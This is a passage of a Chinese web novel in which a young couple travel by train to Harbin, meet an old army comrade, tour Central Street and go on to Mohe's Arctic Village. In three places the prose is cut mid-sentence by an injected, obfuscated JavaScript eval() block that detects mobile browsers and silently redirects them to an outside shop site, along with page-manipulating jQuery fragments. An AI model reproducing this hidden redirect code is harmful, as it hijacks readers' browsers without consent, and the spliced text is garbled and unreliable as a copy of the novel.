符伊年努努嘴,表面上不敢有动作,却在桌子底下用力踩了祝镕的脚一下,发泄自己的不满和怨气。 祝镕皮糙肉厚,被踩一脚也没什么感觉,甚至还能面不改色地同符伊年说话,“我吃完就回来,委屈你中午自己吃,主要是其他人也没有带对象和爱人的,我不能特殊。” 符伊年听了有些无语,我又不是因为这个踩你,但是碍于对面还坐着祝军长和容院长,只能答应着,还不能表现出不情愿不高兴。 因为实在气不过,符伊年干脆又踩了他一脚,这才算解了气。 祝镕这次有了感觉,但也不敢说什么,对着符伊年讪笑,手在桌下握住符伊年的,摩挲着安抚她。 容院长和祝军长对他们的小动作假装看不见,问起祝镕之前说的暑假出游的事情,“打算什么时候出发?去哪里?游多久?” “去哈城吧,凉快,去避暑,然后从兴安岭去草原,骑马吃烤肉,再到长白山看看天池,吃个东北菜,然后到滨市海边玩两天,看看旅顺口,等下旬再回来。”祝镕说着自己的安排,一边看向符伊年,“到时候厚衣服也要带一些。” 符伊年算了算,这趟出游起码要二十天,几乎能逛遍整个东北了,“要这么久吗?会不会耽误事啊?” 祝镕笑笑,“能有什么事,我现在在休假中,要到八月末才开学。” 符伊年仔细看了看祝镕的脸色,确认他神情正常心情良好,笑容不是勉强的,这才放心继续吃早餐。 出发去哈城那天,已经是八月五日了。因为这一趟出行不是公干,开不出坐飞机的介绍信,两个人只好坐火车。 好在祝镕找人买了软卧,而且为了方便,一次买了四张,两人独占一个软卧包厢。 符伊年从来没有干过这样的事,因此有些心虚,总觉得自己浪费了资源抢占了他人的权利。 祝镕听了她的担忧,不禁笑开了怀。祝镕已经不是第一次有这样的感受了,符伊年很多时候是成熟的,对实时、未来都有很深刻的理解和独特的看法。但是偶尔她也会有天真和迷糊的时候,多数是出现在一些细枝末节上,比如某些使用特权的时候。 不过祝镕并不觉得这样不好,若真的较真起来,这也是小心谨慎的一种表现。 “放心吧,不会的。”祝镕笑够了就停下来,怕一会儿把年年笑羞恼了,“软卧价格比较高,一般人如果不是不得已,不会买软卧的,很多时候硬座挤得通道都是人,软卧都卖不完的。” 经过他这么一说,符伊年想起来了,后世火车最拥挤的时候,甚至有人缩在硬座下面的空间里,铺个塑料袋就行。虽说比不得有座位的,而且翻身困难,但是总比站一路强得多。 既然没有抢占别人的资格,祝镕又是付了钱的,那符伊年就心安理得的享受这个四人铺的包厢了。 别说,软卧条件确实优越,车厢铺着地毯显得干净又高级,铺位也比硬卧要宽一点,还有装满了开水的暖壶,包厢门一关,自成独立空间,安静又舒适。 “这趟车算是快车,”祝镕把行李安放好后,在符伊年对面的下铺坐下来,“大概明天早上就能到哈城了。” 符伊年低头看看手表,现在才上午十点,明天中午,那岂不是要走将近二十四个小时?这还算快车啊? “不会晚点吧?”符伊年印象中这样的车最容易晚点了。 祝镕从网兜里拿水果的动作一顿,镇定地回答:“理论上不会。” 符伊年:好一个理论上。到时候要是真晚点了,就说理论和现实还是有差距的呗。 祝镕察觉到符伊年在盯着自己,无所谓地耸耸肩,递了一个削好皮的苹果给她,“世间的事总是这样不是吗,现实和理想永远存在这差距,不必较真。” 说到现实和理想的差距这件事,符伊年想起来后世流传很广的一句话:理想很丰满,现实很骨感。 但是,谁也不知道到底事丰满合适还是骨感合适。 这个年代坐火车还挺无聊的,别说手机,收音机都没有,只有放在桌面上得几本杂志和几张报纸。 符伊年随便翻了翻,没什么兴趣就放下了,倒是火车开动后,居然有广播,播得还是评书,听到熟悉的评书大家的声音,符伊年一下子坐了起来,天哪,太怀念了,就是这个声音。 评书开始前广播员介绍说这段评书选段名为《白牡丹行动》,讲的是解放战争前夕,我地下党员丹华奉命到上海执行一项非常重要的、关系整个战局发展的任务,任务的名称就叫“白牡丹行动”。 倚赖于软卧车厢的安静,这广播符伊年听得还是比较清楚的,就是有点催眠,听着听着,她就想睡觉。 “别睡,现在睡晚上睡不着,日夜颠倒很难受的。”祝镕拿着一副扑克牌凑过来,“我带你玩牌。” 符伊年也不想睡,干脆坐起来,“两个人玩什么啊?”她的印象中,扑克牌要人多才好玩。 祝镕说,这个游戏叫“24点”:把大小王、JQKA移除,只留1-10数字牌,之后每个人从自己手里的牌中各抽四张,通过加减乘除法则计算,得到结果24,能计算出或者先计算出的人获胜。 符伊年从听到“24点”的时候就觉得耳熟,听完规则介绍,更熟悉了,这和后世的那个益智游戏一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306554|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模一样嘛。 “行,来吧。”符伊年撸了撸不存在的袖子,“今天我要杀得你片甲不留!” 祝镕:……“加油,赢了我任你处置。” 符伊年听了他的话,歪歪头,“真的吗?我不信。” “君子一言,驷马难追。”祝镕竖起一只手掌,意思他们可以击掌为誓。 “行!”符伊年啪啪拍了两下祝镕的手心,表示约定成立。 结果嘛。符伊年想占便宜的心愿,当然没有达成。不过她也没有生气或者不开心,反正只是个游戏,而且,若是祝镕让着她她才不开心呢,又不是小孩子了。 到了午饭时间,两人没买盒饭,而是去了餐车。不管怎么说,餐车的能吃得好一点,毕竟是小灶炒菜,而且端上来的时候还带着锅气,吃起来要比盒饭好吃一点,当然,价格也更贵一点。 餐车人不少,有的是过来用餐,有的是没买到硬座票过来蹭座的,通常这样的人也不会被赶走,而且他们会自觉地在餐车用餐,算是额外出钱买座位。 符伊年和祝镕在中间挑了个位置坐下,点了一个牛肉炒芹菜、一个土豆烧肉、一个回锅肉和一份炒青菜,又要了四两米饭,符伊年看向祝镕,“四两够吗?” “够的。”祝镕点头,因为考虑到要坐火车,没有空间运动,也消耗不掉,干脆少吃了些,“还有这么多菜呢。” 符伊年觉得也差不多,付了钱给列车员,转头看向祝镕,“我们还带了水果呢,对了,阿姨还装了瓶罐头呢。” 祝镕惊讶,“我不是拿出来了吗?”他觉得很重,不想带,不过抗议无效,后来趁容院长不注意他偷偷拿了出来。 符伊年笑嘻嘻,“换了一瓶小一点的山楂罐头,用来解腻消食的。” 祝镕无奈,祝镕不嘻嘻,“行吧,火车坐久了确实容易积食。” 所以,吃完午饭后不久,这瓶罐头就被符伊年以“太撑了要消食”为由,被打开,然后被两人瓜分干净,连糖水都喝光了,符伊年怕浪费,还倒了些凉白开进瓶子里,上下涮了涮,给祝镕喝掉了。 祝镕看着递到面前的罐头瓶子,又抬眼看向符伊年,符伊年正讨好地看着他,甚至还强词夺理,“这是‘福根’,福气都在这里头呢,别人我还舍不得给呢。” 祝镕:听我说,谢谢你。 一天的时间很快的,火车到达也还算正点。 一下火车,符伊年就觉得,哇,好凉爽好舒服啊,不愧时祖国最北方的省份,温度和京城五六月份差不多,非常适宜。符伊年甚至怀疑这里是否有“盛夏”这一说。 “幸亏你让多带了几件外套和厚衣服,”符伊年背着双肩包走在前面,回头跟身后提着两个行李箱的祝镕讲话,“太有先见之明了。” 祝镕笑笑,对她抬抬下巴,示意她好好走路,“小心撞到别人。” “哦。”符伊年随意应和了一声,然后看向车站出口处,“你说有战友来接,在哪里啊。” 话刚问完,符伊年就看见有个黝黑的面庞朝他们挥手,“营长!嫂子!” 符伊年四处看看:嫂子?哪儿来的嫂子?谁是你嫂子? 95. 哈城 第九十五章 祝镕说的战友是他以前的在安县工作时的下属,姓韩,叫韩昭。祝镕调动后的i第二年,韩昭因为家庭原因退伍了,回到哈城先是在一家煤矿做工人,改革开放后就辞职了,带着全部家当去南方进了一次货,回来开了个服装店,因为抢占了先机,生意做得如火如荼。 “营长!可想死我了!”韩昭一见祝镕就扑了上去,给了他一个大大的拥抱,“哎呀,听说你去了南疆,可把我担心坏了,总算平安无事回来了。” “有什么好担心的,”祝镕拍了拍韩昭后背,“你回家来一切都还好吧?家里怎么样?” “啥啥都好,就是刚回来前儿,听不着熄灯号睡不着。”韩昭笑了笑,“经常等到半夜菜想起来回家了没有熄灯号了。” 祝镕十分理解他,几年的军旅生活肯定会留下些生活痕迹,哪怕现在离开了军营,多少也会被影响到的。 符伊年站在一旁,看着两个人亲热的说笑叙旧,心里也轻快了不少。 这些天以来,祝镕虽然没说,也极力的不表现出来,她还是能感受到他心情的的低落,整个人的神经也绷得很紧。符伊年不知道是不是战场带来的心理变化,但是总觉得他这样下去不好,就像一根皮筋,一直紧绷着,很容易就断了。 所以,祝镕一提要出游,符伊年就同意了。走一走,换个环境,看看祖国的大好河山,或许他就能放松一些。 陪伴,才是最好的告白。 因为见到了故人,谈起了旧人往事,也说到各自的近况看,祝镕的神情松弛了不少,笑容也看起来真沉很多。 他们站在屋檐下,阳光照不到,可是符伊年就是觉得有光线照着祝镕,让他整个人暖洋洋的,也让她安心。 符伊年一时看住了眼。 大概符伊年的目光过于直白,祝镕很快就感受到,以为她是不满自己忽略了她,急忙将人拉过来把她介绍给对方,“这是我对象,你嫂子。”一边说还一边偷偷捏捏她的手心,希望她不要生气。 符伊年没能理解他的意思,但是感受到了他的体贴,立刻反手握了他一下,然后抽出手来往前递了一下,“你好,符伊年。” 韩昭当然没有错过两个人之间的小动作,正在心底错愕:营长居然还有这样温柔的时候?我还以为他这辈子要和他的木仓过了呢。 这时候看到符伊年递过来的右手,急忙握住,“嫂子好,我是韩昭,营长以前的兵,欢迎你们到哈城来,有什么需要都可以跟我说,我一定安排好……” “行了,”祝镕打断他的话,“先离开这里,人来人往的,不要碍事。” 韩昭“哎”了一声,松开符伊年的手,转身帮祝镕提了一个行李箱,走在前面带他们去车上。车子是韩昭自己的,一辆十年前的北京牌吉普车。 “车子外观看着破,里面是好的,我重新收拾过的,椅套什么的也是我娘自己缝的,干净。”韩昭帮着祝镕把行李塞进后座,不好意思地同符伊年讲:“没有后备箱,嫂子在后座挤挤。” 符伊年当然不会介意,甚至对韩昭十分佩服,“改革开放才一年,你就能买起吉普车了,实在是了不起。” 哪像自己,还处在开拓市场的阶段。 韩昭笑了两声没说什么。 倒是祝镕明白,转头看向韩昭,“哈城离苏联近,过去挺方便的,从这倒货到苏联,没少赚吧?” 韩昭嘿嘿笑着,“营长英明,一下子就猜到了。” 符伊年这才明白,原来这位是干倒爷的啊。那难怪了,听说当倒爷赚的可多了,别说一辆十年前的吉普车,就是进口小汽车都能买得起,就是现在不多而已。 路上,韩昭给他们介绍这几天要住的地方。 “改革开放以后,哈城出了不少个体户,有些人家院子大,除了自己住就收拾出来租出去,我选了一家,户主原来是大学教授,子女不在身边,就把房子租出来了。房租我都付好了,你们安心住着。我们先过去把行李放下,然后去我家吃饭,我娘在家包饺子呢。” 符伊年觉得太麻烦韩昭和他的家人了,想着祝镕应该会拒绝吧,哪知道祝镕连客气都没有客气,直接答应下来。 不过总算祝镕还算靠谱,到达住宿的地方后,打开他自己的行李箱,从里面拿出来一条熊猫烟和两盒白盒无标志未开封的香烟、两瓶五粮液十年酿,带着一起去了韩昭的家里。 韩昭的父母十分热情,光饺子就包了三种馅的:酸菜猪肉馅、韭菜鸡蛋馅、白菜油渣馅,除此之外还做了一大桌子的菜:红烧鱼、红烧肉、小鸡炖蘑菇、酸菜炖排骨、锅包肉…… 面对这么丰盛的一餐,符伊年越发觉得不好意思,连连道谢。 不过韩父韩母厨艺真的很不错,符伊年吃了不少,比平常多多了。 大概对于每个厨师来说,最好的夸赞就是多吃一些他/她做的菜,韩母看她吃得香,十分开心,脸上的笑容就没有下去过,还一个劲儿地给她夹菜,最后她实在吃不下了,又不好浪费,只能求助于祝镕。 “对,吃不完给小祝,男人嘛,就是收拾老婆剩饭的。”韩昭父亲打趣道。 从韩家离开的时候,符伊年觉得自己的肚子一定鼓得溜圆,不然为什么路人都盯着她的肚子看? 祝镕这一次没有让韩昭相送,解释说想看看哈城的市容。其实是他怕符伊年吃多了积食,准备带人走一走消消食。 虽然现在是午后,但是哈城的太阳好像并不热烈,阳光甚至称得上温柔。两人并肩走在马路边缘,没有说话,却各自表情都很松弛,说明他们的心情都不错,甚至称得上愉悦、舒服。 两人边走着,边看着哈城的事景。毕竟是省会城市,比较发达,路上公交车很多,每辆车上都有人,自行车队伍更是壮观,比机动车还多。 因为是暑假,路边经常会看到有小朋友在玩耍,跳绳的、踢毽子的、弹玻璃球的……看起来无忧无虑,非常美好。 拐过一个路口,是一片居民区。并不是旅游手册上印得那种尖塔圆顶俄式建筑,就是普普通通的民房。 符伊年看见从一座民居里走出一个男人,金发碧眼高鼻梁,非常明显的欧洲人长相。 符伊年有些瞠目结舌,不禁看向祝镕,“歪,歪果仁?” 祝镕被她的口音逗笑了,替她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321453|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解惑:“不算是,可能是祖上有苏俄血统,或者是苏俄混血。” 祝镕告诉符伊年,因为哈城或者说东北独特的地理位置,这里生活着中苏混血、中朝混血、中蒙混血,甚至中日混血、中德混血。 “都是历史的缘故。”祝镕想说些什么,最后还是没有说,带着符伊年七拐八拐的,从某个胡同口绕出来。 居然绕到了中央大街! 符伊年看向祝镕,刚想问他怎么这么熟悉地形,就看到他也是一脸的惊奇,似乎完全没有想到,自己竟然歪打正着,来到了哈城最著名的景点。 “哈哈,原来你也是瞎猫碰见死耗子了!”符伊年毫不留情地取笑他,然后拉住祝镕的手欢快地继续往前走。 “这周围都是欧式建筑哎。”符伊年眼花缭乱。红色的建筑和绿色的树木在蓝天白云映衬下,格外漂亮,可以说是一步一景、步步优美。 符伊年有些遗憾没有带相机过来,不能将这美景拍下来。 祝镕安慰她没有关系,“我们还来的,今天只是偶然走到。”说着给她支招,“你先看看,挑好看的景儿,等改天带了相机过来再拍照。” “嗯嗯。”符伊年觉得祝镕这个提议好,“不过我觉得,每个地方都值得拍一拍,每个点看着都好看。” 中央大街是哈城最出名的景点。因为独特的地理位置,汇聚了近百年的各种风格的建筑看,体现了哈城的独特建筑文化及哈城百姓的欧式生活,是华国乃至远东地区最著名、最长的步行街道,有着“亚洲第一街”之称。 中央大街全长近1450米,部用面包石铺就,宽21.34米,其中人行方石路10.8米宽。 而且,人行路全部用长18厘米宽10里面的花岗岩雕铸的面包石铺就,一块一块,精精巧巧,密密实实,光光亮亮。 精巧的简直是艺术品。 “听说,当时一块方石的价格就值一个银元,”祝镕给符伊年介绍,“一个银元是什么概念呢?换成米粮,够穷人吃一个月的。” 符伊年知道面包石很贵,但是没想到居然贵成这样,这样一公里的街道可谓金子铺成的。 “物力、人力、财力,啧啧。”符伊年一时找不到合适的词来形容,最后只能摇头。 一路走,符伊年注意到两侧有不少公司、店铺,很多都是世纪初成立的,甚至过了一个世纪后依然存在着:马迭尔宾馆、秋林公司、教育书店、改建为珠宝店的原犹太国民银行旧址……很多都是影视剧里经常出现的呢。 几乎所有招牌都是用中、俄两国文字写的,具有中欧风情。即便现在欧式风格已经褪去不少、华式革命颜色占据主流,依然能在细节中窥视到、感受到当时的的高贵、典雅、时尚。 “冰棍!雪糕!哈城老冰棍!马迭尔雪糕!” 一阵叫卖声传来,符伊年立即拉住祝镕的手,用期待的目光看向他。 祝镕本来不想买,再过两天就到她的特殊时期了,吃了冰到时候不免要肚子疼,疼起来还不是她难受。 可是符伊年用软软的目光看着她,两手握着他的小臂晃了晃,他就败下阵来,“买!买!” 96. 同炕 第九十六章 以祝镕的本意,是一块雪糕或者冰棍都不想让符伊年吃的。不过符伊年太会撒娇了,或者说,祝镕还是太宠了,符伊年不过晃了晃他的手臂,再用软软的目光看着她,连话还没说,祝镕就妥协了。 祝镕心想:用祝军长的话说,我奋斗这一切,不就是为了让她活得自在快活嘛。 最后买了一块马迭尔雪糕。是祝镕自己做主买的,没有问符伊年的意见,也不能问。问了她只会说:小孩子才做选择,我是成年人,我都要。 祝镕买完了拿着过去找在一旁的木椅上坐着等的符伊年。她正盯着一辆从中央大街经过的马车看,马车上装着麻袋,两个带着解放帽穿着海军衫的青年人坐在麻袋上赶着车,说说笑笑,很是快活。 “在看什么?”祝镕在她身边坐下,撕开雪糕袋子拿出雪糕递给她,“吃一半,最多三分之二。” 符伊年假装没听见第二句,回答他的第一句,“看马车。你说,若是现在有一辆和英国女王那样式儿的马车,在上面坐一圈,多爽多惬意。” 祝镕不知道她从哪里冒出来的这种想法,刚想说怎么可能国家不允许,接着就想起来,改革开放了,好像也不是不行。 “你打算做这个?”祝镕从兜里摸出手绢来铺开放到她腿上,免得雪糕汁滴下来掉在裤子上。 符伊年摇头,“太远了,我宁愿去前门大街搞。”当然了,前门大街其实也搞不了,长度不够。 祝镕若有所思地点点头,眼睛看到她手里的雪糕已经吃了大半,急忙喊停,“可以了可以了,吃多了肚子疼。” 符伊年低头看向大概还剩两口的雪糕,脑子一发昏,直接将雪糕全吞下去了。 祝镕:我是让你别吃了,不是让你全吃了! 所以最后回去的时候,祝镕全程板着脸抿着嘴,符伊年跟着他身边,隔一会儿小心翼翼地看一眼,脸上心虚的表情一看就是做错事了。 “小两口有话好好说,别吵架。”公交上一个坐在他们后边、头发花白的奶奶临下车前突然开口劝,“男子汉大丈夫,谦让着点。” 符伊年心里十分赞同,但是到底没敢出声,只是用两根手指捏着祝镕的衬衫下摆拽了拽,用口型冲他无声地说:“我错啦,别不高兴。” 祝镕当然不是真的生气,他比符伊年大那么多呢,怎么可能真生气,他就是想吓一吓她,表明自己的态度。既然符伊年服软了,他也就名正言顺下了台阶,“以后不可以这样了,肚子疼多难受。” 符伊年忙不迭地点头,“嗯嗯,我知道了。”想了想,还是低声说了句“你不是会揉嘛”。 符伊年的月经基本是正常的,只有第二天的时候会腰酸一下,但若是来月经前一周吃了冰的食物,这次月经就一定会痛。 祝镕遇上过一次,听人说揉一揉会舒服很多,就在她痛的时候给她揉。 如今听到她这样讲,祝镕也只能无奈地叹气,伸手点点她的鼻子,“你就气我吧。” 符伊年知道雨过天晴了,嘻嘻笑:“你就宠我吧。” * 祝镕和符伊年在哈城待了五天,把哈城市内的大小景点玩了个遍,去了两次中央大街,第二次特意去看了防洪纪念塔,参观了圣索菲亚大教堂,在苏联红军烈士纪念碑前敬献了鲜花,也去游览了松花江,还去东北虎林园看了白虎、狮子、美洲豹、狼等。 其实,符伊年还想去731部队罪证遗址,那里陈列着樱花帝国法西斯侵略华国东北、屠杀华国人民的主要罪证。 只是这个时候这个地方和这个部队还没受到关注,相关的资料收集、罪人证言等还不完善,保护性开发和挖掘更是没什么进展。遗址陈列馆更是没有建成。 不过,符伊年知道,早晚有一天,真相会被揭开,罪行会昭告天下。 她一直记得那句在侵华日军731部队罪证陈列馆出口的给参观群众的寄语:别回头,向前走,出口有光,有人间烟火,有国泰民安。别忘记,来时路,有民族苦难,有国仇家恨。 符伊年想,这些话,是对每一个华国人的告诫,也是对每一个华国人的指引。 第六天上午,祝镕和符伊年告别韩昭,离开哈城,坐上火车继续向北。 说来连符伊年自己都不信,她上一世无牵无挂一个人都没敢干过这种一点计划都没有的说走就走的旅行,这辈子居然因为听祝镕说了些极光的璀璨,就放弃了计划好的的呼伦贝尔大草原之行,坐了二十个小时的火车,跑去了漠河。 漠河,华国的最北端。漠河最北,有一北极村,从地理纬度上讲,漠河已经在北极圈内了,只不过稍稍边缘了些,所以也不会有极夜和极昼的现像,顶多就是冬春的时候白天格外短,夏秋时候夜晚格外短。 因为临时决定来漠河,向导没有提前找好,只能拜托韩昭,他经常往来中苏边境,可能会有认识的人。 果然,祝镕找到韩昭一说,韩昭立即介绍了漠河人给他,还说是他们一起干倒爷的,让祝镕放心,一定给他们安排周到。 所以下了火车,祝镕就看到了那个韩昭说的那位刘同志,一米九多快两米的个子,一身腱子肉快要把衣服撑爆。 符伊年有点理解为什么他要干倒爷了。这“吃饭费米、穿衣废布”的身材,不去搞些外财,很难活下去吧。 两方人碰头后,互相确认了身份,又是一顿寒暄,然后两个人跟着刘同志出离开火车站上了一辆带斗的小四轮。 符伊年看见小四轮的时候,眼睛都瞪大了,不禁看向祝镕,“黑省人民这么有钱啊?” 祝镕也很好奇,转头看向刘同志,刘同志嘿嘿笑了两声,“哪有钱,这才吃饱饭几年啊,捡的,苏联人不要的,我捡回来收拾收拾,继续开了。”他拍了拍车门,都没有用力,就看见那车门缓缓打开,然后,掉下来了。 符伊年:……见过二手车,没见过这么破的二手车,这是不是也算一种敞篷? 倒是祝镕,丝毫不惊讶,甚至拍了拍刘同志的肩膀,“当初我党进京,主席的吉普也是没花钱的,也没有门。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338038|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刘同志先是一愣,接着大笑起来,“好啊,我这也算继承了主席的光荣传统!”说完,他把另外一个门也卸了下来,扔进后面车厢里,“二位,请上车。” 车子开了有四五个小时,来到一处淳朴、静谧的村落。这里就是有“金鸡之冠”、“神州北极”盛誉的北极村了。 这个时候的北极村还没开始开发,乡土气息还比较浓郁,环境和后世电视里看到的有些相似:木头围墙、木头房子,围墙里面种着青菜,房檐下头对着劈成一样长度一样粗细的木柴,房子周围一小片一小片土地种着玉米和高粱。 刘同志的车在一户人家门前停下,一对中年夫妻从房里迎出来。女的走在前面,鹅蛋脸,眉眼开阔,笑容爽朗,梳着阿庆嫂一样的发髻,连衣裳和围裙都是差不多的样式,一看就是十分精明能干的东北大姨。 跟在她身后的男人皮肤黝黑,穿一身藏蓝色中山装,表情略严肃,但是能感觉到他在尽力表现得温和了。 “这是我二姨和二姨夫,二姨夫是村里支书,严肃习惯了,你们别介意。”刘同志给他们介绍,然后偏着头用手捂着嘴,“家里我二姨做主,有事找我二姨就行。” 看起来像是说悄悄话,其实声音大的另外四个人都能听清。 二姨瞪了自己外甥一眼,招呼着符伊年和祝镕进屋,“两位同志别听他瞎咧咧,一点正行都没有。” 二姨给祝镕和符伊年收拾的房间是正房西屋,有独立房门的那种。屋子不小,布置也很家常,没有特殊装扮什么的。 窗户下面是一铺炕,炕上铺着厚实的羊毛毡,炕梢垒着几套被褥。地上两只刷了红漆的箱子,一只箱子上面着一个茶盘,里头有暖壶、水杯、茶叶盒,另外一只上面摆着梳子和镜子等生活用品,墙上则挂着一座看起来有些年头的挂钟,好像还说黄铜的,挂钟上的时间指向了下午五点五十五。 符伊年和自己腕上的手边对了下时,发现没有差别。再看一眼窗外的天色,依然日光明朗。 不愧是北极村。符伊年嘟囔。 祝镕也在打量这间房间。他不知道韩昭是怎么和刘同志说的,刘同志又是怎么同他二姨二姨讲的,二姨居然给他和符伊年安排了一间房。该不会是以为他俩已经是夫妻了吧? 这房间里只有一铺炕。那晚上岂不是……祝镕有些心动,但到底还是很理智的人。 “我说,”祝镕无奈地喊符伊年回神,“你就没发现什么问题?” 问题?符伊年茫然,又打量了一番房间,“什么问题?”这个年代,还没有针孔摄像头呢吧? 见符伊年真的没反应过来,祝镕只好提示她,“这里只有一铺炕啊,晚上要怎么睡?” “就那么睡。”符伊年明白了过来,“一人一个被窝,有什么没法睡的!” 真是的,也不知道在脑补些什么。 祝镕看着她慢慢红起来的耳朵,会心一笑,不禁凑上前去在她脸颊香了一个,“你真不懂啊?” 符伊年哪有什么不懂的,她懂得可多了呢。 97. 极光 第九十七章 在问过祝镕和符伊年需不需要休息并得到否定回答后,刘同志请了他二姨父带领,几个人提着渔网、鱼叉、水桶等物,朝村子后面的走去,说是要为晚餐填一道菜。 那里竖着一款石碑,是北极村的村碑,也是北极村的标志性建筑,只有到了这里,才能证明你到了北极村、到了华国的最北端。 “南有天涯海角,北有神州北极。”符伊年拉着祝镕同村碑合影,一下子拍了很多张。 听到她的话,祝镕颔首,“等以后有了时间,陪你去海南看天涯海角。” 符伊年毫不客气,“好呀。”丝毫不表现对他“有时间”这件事的怀疑。 在北极村的村碑下面有一条小河,据二姨夫介绍,这条河是黑龙江的支流,叫做“墨河”,也就是漠河县的源头。 “你们看,这条河好像很脏是不是,但不是脏,其实是因为我们这儿的黑土。”二姨夫是建国初的高中生,文化水平不低,“黑土肥沃,种子撒下去就能长出庄稼来,可谓是旱涝保收。” “我们黑省以前被称作‘北大荒’,既有地理原因:纬度高气候寒冷,一年十二个月又六个月是冻土;也有人为原因:女真入关建立了大清依然认为龙脉在此不可开垦开发。直到建国后,国家进行大规模开垦,现在越来越好了。” 二姨夫神情激动、雀跃,看向远方的土地饱含深情,眼中有光,“尤其实行了‘大包干’以后,大家伙儿的干劲儿十足,北大荒就要变成北大仓了。” 符伊年作为一个农大学生,接触到这方面的信息比较多,还是很能理解二姨夫的心情的。北大荒的改造,从建国后国家就十分重视,后来变成北大仓,是几代人艰苦创业薪火相传的努力结果。 据她所知,“北大荒”的改造,在建国前就开始了,当时为了建立、巩固东北根据地,一大批复原军人来到北大荒,创建了第一批国营农场,拉开了北大荒开发建设的序幕。 在这之后,更是有十万转业官兵、五万大专院校毕业生、二十万支边青年、五十四万知识青年和大批地方干部组成的百万大军,相继投身于垦区开发建设。 而且,开发建设并不是人力蛮干,还投入了很多的科技手段。从垦区建立之初,就设立了实验室,研制出很多农业科研成果,从整墒土地、育苗、播种、摆栽到施肥都有一套完整的、科学的种植方法。 正是因为有国家的大力支持和投入、工作人员的前赴后继和勇于奉献,才有了如今已是良田无际,稻麦飘香,城镇相望的北大仓。 “千百年创业艰辛,换来春满家园。”符伊年轻声说,“大道越来越宽阔,日子也会越来越甜的。” 夕阳只剩余晖,金黄的光芒依然明亮,照在人身上温和轻柔。祝镕偏头看向符伊年,她的前方是辽阔的黑土地,面向着鸡蛋黄一样的太阳,阳光照在脸上,他甚至能看清她脸上细小的绒毛。 祝镕握住符伊年的手,轻轻捏了捏她的手心。符伊年看过来,温柔地对他笑,脸上绽出一对不太明显的梨涡。 祝镕想,他会永远永远记住这一刻。 “哎呀,别煽情了,”刘同志突然叫了起来,打破了这温情,“天快黑了,还捞鱼不捞了?” “捞!捞!”符伊年反应过来,欢快的捡起一支捞网,奔着后面的小河就去了,站在河沿聚精会神地盯着河里,嘴里还念念叨叨:“棒打狍子瓢舀鱼,野鸡飞到大锅里。” 念叨了两遍,突然眼神一变,手里的捞网笔直入水,然后用力捞了——一兜子水出来。 哗啦啦!河水顺着捞网的缝隙都漏出去,最后只留了一棵水草缠在捞网上。 符伊年:……好丢脸啊。 祝镕看看她憋红了的脸色,忍住笑出来的冲动,两步上前想要指导她,却被发觉的符伊年抬手止住动作,“别过来。我自己再试试,不行再找你。” 祝镕了解她,她说要自己做,那就是要自己去做,并不是矫情或者谦虚。于是祝镕脚步迈出的方向一转,回去拿了一把鱼叉过来,站到距离符伊年四五步远的地方。这里既不会影响她,也能在她有问题的时候及时出手。 符伊年没有过分关注祝镕,她正在思考自己为什么会捞空,明明看准了的,而且那鱼也没有游动的很快。 把所有知识在脑子里过了一遍,突然明白了过来。哎呀妈呀,光的折射呀!自己看到的鱼的位置,和实际水里鱼的位置,是有差别的。这是初中物理啊,差点忘记了。 符伊年又试了两次,果然捞上鱼来了,还是两条比较大的鱼,很重,两条差不多十来斤,符伊年差点握不住捞网的杆儿,幸亏祝镕一直注意着她,大声告诉她扔后面岸上,她才不至于把鱼重新扔回河里,白费一番力气。 鱼被扔在岸上的离了水,但依然活蹦乱跳,在石堆和杂草间打挺,腾空了几厘米,再落下。直到没有了力气,或者因为脱水太久,偃旗息鼓。 祝镕那里也有收获,他插到了三条,都是和符伊年那两条差不多大小的,只不过因为用鱼叉插到的,鱼身上无一例外都有血窟窿,看起来就不想吃了。 祝镕注意道符伊年嫌弃的目光,不禁失笑,“那你不要吃了,这么难看。” “那不行。”符伊年立即反驳,“肉好吃就行了,身体不好看无所谓。” 又不是人。如果是祝镕,当然要既好看,又好吃才行。 这么想着的时候,符伊年就盯着祝镕的胸口看,他因为弯腰用力,胸肌和腹肌紧绷,短袖都无法遮严住形状。 祝镕感受到她的目光,瞪了她一眼,示意她收敛点目光,“外面呢。” “哦。”符伊年低低应了一声,点头表示自己懂了:在外面要收敛,在屋里就可以放肆了。 祝镕完全没有想到自己的想法居然被符伊年歪解,还在把鱼往桶里扔,然后去与二姨夫商议了一番,最后决定这几条给晚饭添菜就可以了,大鱼网今晚扔在河里,明天早上再过来起网。 一行人回到家,二姨已经做好大部分菜品了,“可算回来了,我还以为你们去江对面捞鱼去了呢。” 江对面,已经是国境外了。 等看到桶里的几条鱼,二姨就满意多了。 